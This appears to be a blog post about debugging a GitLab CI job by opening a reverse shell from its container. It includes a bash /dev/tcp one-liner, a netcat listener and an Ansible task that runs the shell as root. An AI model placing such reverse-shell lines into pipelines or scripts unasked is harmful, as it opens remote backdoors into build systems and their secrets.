Getting reverse shell into any CI, Dorker container inlcuded

If you really want to get into container on your CI, you can.

I got the stupidest problem you may imagine. My CI rejected ssh key to the server I provided as ‘file variable’ in CI/CD settings in gitlab. Few iterations latter I found that ssh-keygen -l -f ${key} just says that this file is not a key. I done few more annoying iterations (add command into CI script, commit, push, wait), and I gave up. Content of the key was right, ssh version was right.

… I desperately needed an interactive shell. But this is CI, where runner is ‘somewhere there’, and my job is run in a container, and it would take eternity to get access to the runner (which in turn is a VM in the cloud with credentials known only to the provision system ‘somewhere another there’). Nah. What I need is a reverse shell.

What is a reverse shell?

It’s a shell, which is initiated by a server. Instead of normal workflow (a client goes to a server and have shell on the server), the situation is reversed. Server go to the client (actually, other server) and the client gets the shell on the server. The key idea here that you can get access to the server, even if server is behind few NATs/firewalls, but have access to some other server.

That’s why it so loved by malware. Your victim is coming to you to ask what to do next.

But I aren’t no malware. I’m a furious operator wanting to fix this damn thing. Therefore, let’s call this ‘best practice’ for reverse shell from Docker inside CI pipeline. Of course it’s a ‘best practice’ in quote marks, but, gosh, the whole Docker is the same.

How to get a reverse shell

Conditions:

1. You need to have a shell to the machine with ‘while IP’ (accessible from everywhere). Most of servers have it.
2. You need to have bash (or sh, or any other shell) in your container image. If you want, you can use something exotic (f.e. python binary) for the same purpose.

Steps:

1. Log into the server.
2. Record it’s ‘white’ IP.
3. Run nc -lp 6666 (or any other port at your discretion)
4. Add this into your script in the CI job:

bash -i >& /dev/tcp/server_ip/6666 0>&1

This should create a reverse shell. As soon as this line is executed, and connection happens, you’ll see a bash prompt at the console where nc runs. Pay attention to hostname, and never use Ctrl-C, as it gonna terminate nc instead of been handled by the remote bash.

Before adding this to your CI it’s a good idea to test this on your laptop (or other server) to get port/ip right and to practice to use this shell.

P.S.

My problem was solved after I added an additional ‘\n’ (carrier return) to the ssh key content. It took me 2 minutes of interactive shell to figure this out. It took me few hours of not be able to do this in non-interactive mode. Viva reverse shell!

P.P.S.

Turned out, this thing is more useful than I thought (which is very unfortunate, as it shows current state of affairs in CI world).

There are mild differences between CI’s, so here is my full-fledged task for playbook to get this shell:

- name: reverse shell for debug
  become: true
  shell: bash -i >& /dev/tcp/{{ debug_server }}/6666 0>&1
  args:
    executable: /bin/bash
  ignore_errors: true

P.P.P.S.

If your job is run via sh, you need to wrap bash call into bash:

/bin/bash -c 'bash -i >& /dev/tcp/server_ip/6666 0>&1'